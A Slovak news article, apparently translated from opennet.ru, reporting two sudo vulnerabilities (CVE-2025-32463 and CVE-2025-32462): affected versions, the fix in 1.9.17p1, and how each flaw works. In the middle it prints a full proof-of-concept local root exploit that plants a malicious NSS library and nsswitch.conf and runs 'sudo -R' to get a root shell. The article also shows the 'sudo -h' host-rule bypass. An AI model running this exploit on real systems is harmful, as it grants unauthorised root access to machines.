Zraniteľnosti v utilite sudo, ktoré umožňujú získať práva root v systéme

V balíku sudo, ktorý sa používa na vykonávanie príkazov v mene iných používateľov, bola zistená zraniteľnosť (CVE-2025-32463), ktorá umožňuje akémukoľvek nepriviligovanému používateľovi spustiť kód s právami roota, aj keď používateľ nie je uvedený v konfigurácii sudoers. Problém zasahuje distribúcie, ktoré používajú konfiguračný súbor /etc/nsswitch.conf; napríklad sa preukázala možnosť využitia zraniteľnosti v Ubuntu 24.04 a Fedora 41.

Zraniteľnosť sa prejavuje v predvolenej konfigurácii a bola potvrdená v verziách sudo od 1.9.14 do 1.9.17 (potenciálne zasahuje všetky verzie od 1.8.33). Problém bol vyriešený v aktualizácii sudo 1.9.17p1. Stav novej verzie balíka alebo prípravy opravy v distribúciách si môžete skontrolovať na týchto stránkach (ak stránka nie je dostupná, to znamená, že vývojári distribúcie sa ešte nezačali zaoberať problémom): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo a Arch (1, 2).

Problém je spôsobený tým, že pri použití možnosti „-R“ („—chroot“) na spúšťanie príkazov v chroot prostredí s vybraným používateľom ako koreňovým adresárom sa súbor /etc/nsswitch.conf načítaval v kontexte nového koreňového adresára a nie systémového adresára. Pretože používateľ môže použiť svoj vlastný adresár ako koreňový adresár pre chroot, môže v ňom umiestniť konfiguračný súbor nsswitch.conf. Kontrolovaním súboru /etc/nsswitch.conf, ktorý načítava podsystem NSS (Name Service Switch), môže používateľ pridať nastavenia, ktoré vedú k volaniu ďalších spracovateľov. Tieto spracovatelia sú načítavané NSS vo forme zdieľaných knižníc, ktoré môžu byť tiež umiestnené v adresári pod kontrolou používateľa. Vložením vlastnej knižnice môže používateľ dosiahnuť vykonanie kódu z nej s právami roota, pretože spracovanie NSS sa vykonáva pred odovzdaním privilégií.

Príklad exploitu: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

Vo verzii sudo 1.9.17p1 bola odstránená ďalšia zraniteľnosť (CVE-2025-32462), ktorá umožňuje vykonávanie príkazov s právami root, avšak prejavuje sa len v konfiguráciách sudoers, kde je parameter „host“ nastavený na hodnotu odlišnú od ALL alebo názvu aktuálneho hostiteľa. Zraniteľnosť je spôsobená chybou, v dôsledku ktorej voľba „-h“ („—host“) fungovala nielen v kombinácii s voľbou „-l“ („—list“) na výstup privilegovaných prístupov viazaných na hostiteľa, ale aj pri spúšťaní príkazov. Takže používateľ mohol pri vyvolávaní sudo špecifikovať akýkoľvek hostiteľ a obísť obmedzenia pravidiel sudoers viazaných na názov hostiteľa.

Na uskutočnenie útoku musí byť používateľ uvedený v sudoers, napríklad ak je v nastaveniach uvedené „testuser testhost = ALL“, potom používateľ „testuser“ mohol zadať „sudo -h testhost“ a spustiť príkazy s právami root na akýchkoľvek hostoch, a nie len na hoste testhost. Zraniteľnosti sa netýkajú konfigurácií s nastaveniami typu „testuser ALL = ALL“ alebo bez explicitných pravidiel pre konkrétneho používateľa.

Zdroj: opennet.ru

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster